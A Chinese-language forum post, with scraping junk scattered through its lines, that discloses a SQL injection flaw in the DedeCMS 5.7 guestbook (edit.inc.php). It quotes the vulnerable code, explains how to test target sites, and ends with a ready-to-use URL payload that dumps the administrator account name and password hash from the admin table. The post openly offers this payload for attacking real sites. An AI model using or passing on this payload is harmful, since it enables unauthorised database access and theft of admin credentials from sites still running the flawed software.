影响版本为5.7
; t% D" o+ w8 d) [; ^+ `0 S. u, A
0 F4 r j3 y& d8 A3 q2 z漏洞文件edit.inc.php具体代码:/ o5 K+ ~# G# ], f- s
% D( e% e( j) c% r< ?php
8 w. R/ T8 m% R u! P% s8 V. e( o% A5 a' Y3 H1 q! F+ b7 m7 X. l0 _0 w+ R4 {
if(!defined('DEDEINC')) exit('Request Error!'); ! P. X+ i( G& e* k' M4 V' r
; |+ G& I4 [5 x+ g4 t
6 q1 o8 N- N0 l% X8 p5 E$ f
8 G0 O' r y w* hif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ) E9 l- q8 X; k* L) v
+ L3 {/ x% w$ o. j/ Lelse $GUEST_BOOK_POS = "guestbook.php";
+ e" c/ C' j; H6 S; J) E2 V& d: o5 M r
! a3 L: U9 m) t2 S7 b3 ]' N+ {5 o
6 ~) R2 K; ~1 y8 i' t! F. ]
$id = intval($id);
) a9 E; _5 L I4 F1 Y5 g% Z8 U+ u% i, w( n
if(empty($job)) $job='view';
8 D# w6 a) a4 j0 X+ u% s+ V+ \8 C A0 y" e
4 t, z" T8 s: b' a, ~" B5 L; x2 W2 d0 I4 k' Q% M
if($job=='del' && $g_isadmin)
7 p+ [7 i$ A( G, B' x
8 k% C5 Y& v) l" x{ 6 G' [8 v. T; b2 h+ D
/ d- `# @) A( U- J/ T$ ]) C0 [
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
8 |- e' ~! ~8 y. X* f" O1 C
2 `! o: ~% B7 f: VShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 2 V E/ T9 V5 N& x$ O' A" c
3 `4 W, o4 H- uexit();
1 m( S+ B0 i$ k' ]
+ p7 m1 b h. a* c" i4 ?} # |# [% N; P6 |$ H6 ^& z% j; j' s7 }
) f# ~ z0 H. U/ R
else if($job=='check' && $g_isadmin)
( Q V" Z2 _& R: N7 D
! j' \# U5 S% M- }: |{
% [: P' `$ X, k& B. H! ]3 i. o% `9 j. F; j/ r4 f
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
$ K* K9 K0 q1 s0 f A
, L# T7 L# X |1 f4 i. wShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
. [" o" B, h" }6 a1 N0 |7 H$ a9 q% {9 O8 p7 w! _
exit();
: K$ y# y6 D! @
6 f! \( G. o+ B9 I}
2 q5 }/ [4 f$ b( ?# B) @8 a" v. d- [9 h$ T7 j1 [# n
else if($job=='editok')
: A0 R' \9 ~. s j7 z3 M# ]1 \2 d6 o% r' g1 W2 S
{
% q" d/ J/ j& @5 K
! @+ k$ H+ }% Y2 `$remsg = trim($remsg);
) ]% b, E4 Y. A6 C
9 Y2 O6 M$ B; a. j$ M4 gif($remsg!='') 6 @ C9 v, T+ ^
( e8 D4 ?+ Q; \- }# _( f0 {{ . A& o0 c [% t! ]
( [6 X8 {+ ~: J! m% L9 D$ g: }
//管理员回复不过滤HTML By:Errorera blog:errs.cc
& \. g) ] N# L m9 J4 d, F+ J r; {' Z5 u: i" Y: g- `
if($g_isadmin)
) Z, N) }% `/ ^+ ~* C2 h2 @) u- r' A' g& D. v* C
{ % F6 `$ E% D% p+ D% ~, {2 O
. o7 p2 x3 b& s- z6 U
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; - f8 G y4 v- K! X' G6 _
; J I: T! y9 K* |( u
//$remsg <br /><font color=red>管理员回复:</font> } 4 k. n% g. j' D6 s" }
9 _8 q4 @. M" H" X* h
else / Q1 A( A+ \" L5 r8 P7 G
$ v1 h' Z7 e! s. g, g
{
( D( h: l- k& |# ]" p; [2 o6 h* I- {9 h; ^, D+ u
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); . I! @& Z. N- |
* D- q4 m5 |0 X% H% |# u5 H$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; / [1 E. S$ Z& t/ t; z" j/ m
. a5 ^9 ^ ]2 d% a
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
# I9 y% h5 ]" G- C5 W" R! s
& o: G( f8 P0 ?& }5 l2 k9 @3 i/ _$msg = $oldmsg.$remsg;
y E; r! o- ?( }7 H
H& {7 j1 g+ H}
2 g; ]5 }6 h9 p4 k& O/ Z
1 B, M/ |3 f& j8 }' c a+ D; h3 x} 6 w" c3 b7 m( \" e+ R( g" U
4 }" v/ g, L+ y6 @0 ~" Z- q3 L
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
: n" A% c, H4 J, {; A6 ~$ Y
( l9 ~1 D5 E+ f0 ]% V E: `. w! F$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
( p' t0 Z# r0 a! G1 X" T8 s& V: B- h# A5 v7 ^5 o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); " n. W& x( m0 s. f* H( a8 p/ ^0 V, L
) F4 F6 d% C! qexit(); 4 G4 r& P E* r
* E( D' q- u0 c- ?$ L
}
( }! U, x! }: F+ V8 I! @7 m
d8 i& M9 ^. d0 u* W% [//home:www.errs.cc 1 G0 Z v8 f( a5 Q
0 [2 v4 ?" a+ H8 ~
if($g_isadmin)
* u4 M+ y s3 x+ l2 c7 E% P& P$ \3 s$ @$ {$ W0 {1 h$ `- o
{ 7 e, s# G1 y& c7 j: t. x
9 j/ d6 L/ _* r2 ~& L
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
1 |( p3 u# ~; ^
3 v9 T+ r! l1 E- _require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); : I( \% a0 N% ]1 y; @+ o6 p# W; f
5 S4 T' j- X' ~% W5 O7 R
}
, o0 k3 f1 K0 U+ D! y$ p7 i3 E- K$ e# O: [
else 2 n3 a3 y1 z! U- y5 Q
$ {- C# j" y9 i0 f) n& j{ , J) r( k! q$ P; g6 z9 u
: i! g9 J: J& G. J; d1 V7 y+ N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); . ?6 t: X& }/ z
4 i6 Z# w& H3 x* c$ prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); " [' ~' Q5 s, M: E6 E1 }2 k
8 f3 H/ S: f3 x
} 漏洞成功需要条件:- z) Z; c' k1 M4 |3 @4 w0 `7 H
1. php magic_quotes_gpc=off
1 A# p5 O0 U r; n2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。9 j! i8 Q( t) d' ?6 a4 y+ j; I/ J
+ q) y. A9 ]" K) e% H$ s& [, J( K
怎么判断是否存在漏洞:) I. `$ {* a t$ |" F
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
0 h5 e: V5 M+ r1 I# s) i# |然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 z1 ?& h6 _% E- p3 [* L访问:+ \6 E' G7 h1 P
6 U& C8 i* r: A0 G; H1 w9 q( S" D5 r
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 a9 a% `# [* ]0 S/ I9 U* n跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
$ ?, E' L' _3 K6 d3 Z" J% u' V2 W( c; N8 B
' h- o4 f( Z' W! z7 n明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, h1 g( C$ u: |1 z+ Q w; R9 i! B* D+ R: I如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
6 o* s& T) e; D那么再次访问
+ o; t# u/ \4 j- }; `# S* L, V% n' K1 \5 K: f9 V% E1 f+ p+ M
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 N8 A+ d, F5 j O; n$ e* _: d, Z- T' x( ^
大概利用就是这样,大家有兴趣的多研究下!!
- Z2 H" ]5 S# I* f
9 D3 }2 H. t4 H' v/ I9 o; A2 |最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
: s9 C0 c% H- ]: I8 K0 o3 ?: d5 s5 g! ] R i. I
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |